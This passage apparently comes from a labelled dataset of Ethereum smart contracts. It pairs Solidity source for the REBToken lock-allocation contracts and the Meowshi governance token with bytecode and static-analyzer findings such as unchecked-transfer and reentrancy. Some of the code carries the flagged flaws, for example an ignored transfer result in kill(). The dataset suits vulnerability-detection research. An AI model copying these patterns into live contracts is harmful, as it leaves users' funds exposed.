0152604401602060405180830381600087803b15156109be57600080fd5b5af115156109cb57600080fd5b5050506040518051905015156109e057600080fd5b600160a060020a03851660009081526004602090815260408083208684529091529020805460ff191660019081179091559150509392505050565b60005433600160a060020a03908116911614610a3657600080fd5b6000908152600560205260409020805460ff19166001179055565b600054600160a060020a031681565b60008054819033600160a060020a03908116911614610a7e57600080fd5b610a878461064b565b600154909150600160a060020a031663095ea7b385600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ae157600080fd5b5af11515610aee57600080fd5b505050604051805190501515610b0357600080fd5b600154600160a060020a031663095ea7b385610b25848763ffffffff610efc16565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b6857600080fd5b5af11515610b7557600080fd5b505050604051805190501515610b8a57600080fd5b5060019392505050565b60008054819033600160a060020a03908116911614610bb257600080fd5b610bbb8461064b565b905082811015610bca57600080fd5b600154600160a060020a031663095ea7b385600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c2157600080fd5b5af11515610c2e57600080fd5b505050604051805190501515610c4357600080fd5b600154600160a060020a031663095ea7b385610b25848763ffffffff610ed316565b60075481565b600080610c896008546106f960095442610ed390919063ffffffff16565b60009081526006602052604090205492915050565b600154600090600160a060020a03166370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156106a657600080fd5b600160a060020a03919091166000908152600460209081526040808320938352929052205460ff1690565b60025481565b60005433600160a060020a03908116911614610d3d57600080fd5b7f95e2ef554cea3ced6a1ea07e3492667e448adcf02a15d1000b9f700034fd0e24828260405191825260208201526040908101905180910390a1610d8081610a1b565b5050565b600154600090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610dd757600080fd5b5af11515610de457600080fd5b505050604051805191505090565b60085481565b60005433600160a060020a03908116911614610e1357600080fd5b600160a060020a0381161515610e2857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600090600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610dd757600080fd5b600154600160a060020a031681565b6000828202831580610ec45750828482811515610ec157fe5b04145b1515610ecc57fe5b9392505050565b600082821115610edf57fe5b50900390565b6000808284811515610ef357fe5b04949350505050565b600082820183811015610ecc57fe00a165627a7a72305820430baeaa10f01bc43477c5d62ebb1568353e8d93e15eb5de06ca4550661719040029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,205 |
0xdfc8ecb515c0bb72de8bcbe0cb7a2d84b65c8027
|
pragma solidity 0.4.23;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/REBToken.sol
/**
* @title REB Token contract - ERC20 compatible token contract.
*/
contract REBToken is PausableToken, MintableToken {
string public name = "REBGLO Token";
string public symbol = "REB";
uint8 public decimals = 18;
/**
* @dev Contract constructor function to start token paused for transfer
*/
function REBToken() public {
pause();
}
/**
* @dev check user's REB balance tier
* @param holderAddress Token holder address
* @return string representing the milestone tier
*/
function checkBalanceTier(address holderAddress) public view returns(string) {
uint256 holderBalance = balanceOf(holderAddress);
if (holderBalance >= 1000000e18) {
return "Platinum tier";
} else if (holderBalance >= 700000e18) {
return "Gold tier";
} else if (holderBalance >= 300000e18) {
return "Titanium tier";
} else if (holderBalance == 0) {
return "Possess no REB";
}
return "Free tier";
}
}
// File: contracts/LockTokenAllocation.sol
/**
* @title LockTokenAllocation contract
*/
contract LockTokenAllocation is Ownable {
using SafeMath for uint;
uint256 public unlockedAt;
uint256 public canSelfDestruct;
uint256 public tokensCreated;
uint256 public allocatedTokens;
uint256 public totalLockTokenAllocation;
mapping (address => uint256) public lockedAllocations;
REBToken public REB;
/**
* @dev constructor function that sets token, totalTokenSupply, unlock time, and selfdestruct timestamp
* for the LockTokenAllocation contract
*/
function LockTokenAllocation
(
REBToken _token,
uint256 _unlockedAt,
uint256 _canSelfDestruct,
uint256 _totalLockTokenAllocation
)
public
{
require(_token != address(0));
REB = REBToken(_token);
unlockedAt = _unlockedAt;
canSelfDestruct = _canSelfDestruct;
totalLockTokenAllocation = _totalLockTokenAllocation;
}
/**
* @dev Adds founders' token allocation
* @param beneficiary Ethereum address of a person
* @param allocationValue Number of tokens allocated to person
* @return true if address is correctly added
*/
function addLockTokenAllocation(address beneficiary, uint256 allocationValue)
external
onlyOwner
returns(bool)
{
require(lockedAllocations[beneficiary] == 0 && beneficiary != address(0)); // can only add once.
allocatedTokens = allocatedTokens.add(allocationValue);
require(allocatedTokens <= totalLockTokenAllocation);
lockedAllocations[beneficiary] = allocationValue;
return true;
}
/**
* @dev Allow unlocking of allocated tokens by transferring them to whitelisted addresses.
* Need to be called by each address
*/
function unlock() external {
require(REB != address(0));
assert(now >= unlockedAt);
// During first unlock attempt fetch total number of locked tokens.
if (tokensCreated == 0) {
tokensCreated = REB.balanceOf(this);
}
uint256 transferAllocation = lockedAllocations[msg.sender];
lockedAllocations[msg.sender] = 0;
// Will fail if allocation (and therefore toTransfer) is 0.
require(REB.transfer(msg.sender, transferAllocation));
}
/**
* @dev allow for selfdestruct possibility and sending funds to owner
*/
function kill() public onlyOwner {
require(now >= canSelfDestruct);
uint256 balance = REB.balanceOf(this);
if (balance > 0) {
REB.transfer(msg.sender, balance);
}
selfdestruct(owner);
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,206 |
0x84008e4ca753ad89a773ca19a171caccdb0ffae3
|
// SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of voting checkpoints for each account, by index.
mapping(address => mapping(uint256 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint256) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the {permit} struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint256 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;}}
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), balanceOfOptimized(sushiBar), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, balanceOfOptimized(address(sushiToken)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {allowance[from][msg.sender] -= amount;}
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, balanceOf[delegator]);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
if (srcRep != dstRep && amount != 0) {
unchecked {if (srcRep != address(0)) {
uint256 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint256 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}}
}
}
function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
unchecked {if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == block.number) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(block.number, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize check.
function balanceOfOptimized(address token) private view returns (uint256 amount) {
(bool success, bytes memory data) =
token.staticcall(abi.encodeWithSelector(ISushiBar.balanceOf.selector, address(this)));
require(success && data.length >= 32);
amount = abi.decode(data, (uint256));
}
/// @notice Get current chain.
function getChainId() private view returns (uint256 Id) {
uint256 chainId;
assembly {chainId := chainid()}
Id = chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return votes The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256 votes) {
unchecked {uint256 nCheckpoints = numCheckpoints[account];
votes = nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return votes The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256 votes) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {votes = 0;}
// @dev First check most recent balance.
unchecked {if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {votes = checkpoints[account][nCheckpoints - 1].votes;}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {votes = 0;}
uint256 lower;
uint256 upper = nCheckpoints - 1;
while (upper != lower) {
uint256 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
votes = cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {upper = center - 1;}}
votes = checkpoints[account][lower].votes;}
}
}
|
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80636fcfff45116100e3578063ac9650d81161008c578063d505accf11610066578063d505accf14610443578063dd62ed3e14610456578063e6ff41eb1461048157600080fd5b8063ac9650d8146103fd578063b4b5ea571461041d578063c3cda5201461043057600080fd5b80637ecebe00116100bd5780637ecebe001461038e57806395d89b41146103ae578063a9059cbb146103ea57600080fd5b80636fcfff451461033b57806370a082311461035b578063782d6fe11461037b57600080fd5b806323b872dd11610145578063587cde1e1161011f578063587cde1e146102b85780635c19a95c14610313578063642ed5001461032857600080fd5b806323b872dd14610278578063313ce5671461028b5780633c0adb68146102a557600080fd5b80630cdfebfa116101765780630cdfebfa1461020757806318160ddd1461024e5780631b04a34f1461026557600080fd5b806306fdde0314610192578063095ea7b3146101e4575b600080fd5b6101ce6040518060400160405280600781526020017f4d656f777368690000000000000000000000000000000000000000000000000081525081565b6040516101db919061267c565b60405180910390f35b6101f76101f2366004612375565b610494565b60405190151581526020016101db565b610239610215366004612375565b60056020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152016101db565b61025760005481565b6040519081526020016101db565b610257610273366004612375565b61050e565b6101f76102863660046122d1565b610605565b610293601281565b60405160ff90911681526020016101db565b6102576102b3366004612375565b61079f565b6102ee6102c6366004612285565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101db565b610326610321366004612285565b610a05565b005b610257610336366004612375565b610a12565b610257610349366004612285565b60066020526000908152604090205481565b610257610369366004612285565b60026020526000908152604090205481565b610257610389366004612375565b610c66565b61025761039c366004612285565b60036020526000908152604090205481565b6101ce6040518060400160405280600481526020017f4d454f570000000000000000000000000000000000000000000000000000000081525081565b6101f76103f8366004612375565b610f0e565b61041061040b3660046123f5565b610fce565b6040516101db91906125fd565b61025761042b366004612285565b6111a3565b61032661043e36600461239e565b611233565b61032661045136600461230c565b611642565b61025761046436600461229f565b600160209081526000928352604080842090915290825290205481565b61025761048f366004612375565b611aae565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fc9086815260200190565b60405180910390a35060015b92915050565b600061051982611bef565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015230602482015273ffffffffffffffffffffffffffffffffffffffff8416604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190612564565b509392505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146106a25773ffffffffffffffffffffffffffffffffffffffff841660009081526001602090815260408083203384529091528120805484929061069c90849061274e565b90915550505b73fffffffffff